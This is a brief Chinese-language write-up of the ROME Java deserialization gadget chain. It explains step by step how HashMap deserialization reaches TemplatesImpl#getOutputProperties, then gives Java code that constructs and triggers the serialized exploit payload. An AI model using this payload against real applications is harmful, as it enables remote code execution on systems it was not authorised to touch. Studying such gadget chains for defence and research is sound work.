Gadget
HashMap#readObject 可以调用到任意一个类的 hashCode 方法,这里调用到的是 ObjectBean#hashCode
ObjectBean#hashCode 方法调用 beanHashCode 方法,属性类型为 EqualsBean,即、调用 EqualsBean#beanHashCode 方法
EqualsBean#beanHashCode 方法调用任意类的 toString 方法
这里调用 ToStringBean#toString 方法,直接来到有参的 toString 方法
getPropertyDescriptors 获取类所有的 setter/getter 方法
然后遍历获取到的所有方法,如果是无参的方法则执行
那么这里可以构造使其调用到 TemplatesImpl#getOutputProperties 方法
构造 payload ,这里注意使用 Templates 接口,这样就只获取到 getOutputProperties 这一个方法进行执行,如果使用 TemplatesImpl 方法则获取到多个 setter/getter ,可能执行某个方法途中报错直接程序终止了
public class ROME {
public static byte[] getSerializeData() throws Exception{
TemplatesImpl templatesImpl = CreateTemplatesImpl.createTemplatesImpl();
// 这里使用 Templates 接口,只获取 getOutputProperties 方法,如果使用 TemplatesImpl.class 则会有比较多的方法,可能会在调用其它方法时出错而无法继续往下
ToStringBean toStringBean = new ToStringBean(Templates.class,templatesImpl);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
// 先用 String.class 占位,这样不至于在 HashMap.put 的时候触发命令执行
ObjectBean objectBean = new ObjectBean(String.class,"ky");
HashMap hashMap = new HashMap();
hashMap.put(objectBean,1);
Reflect.reflectSetField(objectBean,"_equalsBean",equalsBean);
byte[] serialize = SerWithUnSer.serialize(hashMap);
return serialize;
}
public static void main(String[] args) throws Exception{
ParseArgs.parseArgs(args);
byte[] bytes = getSerializeData();
SerWithUnSer.unSerialize(bytes);
}
}



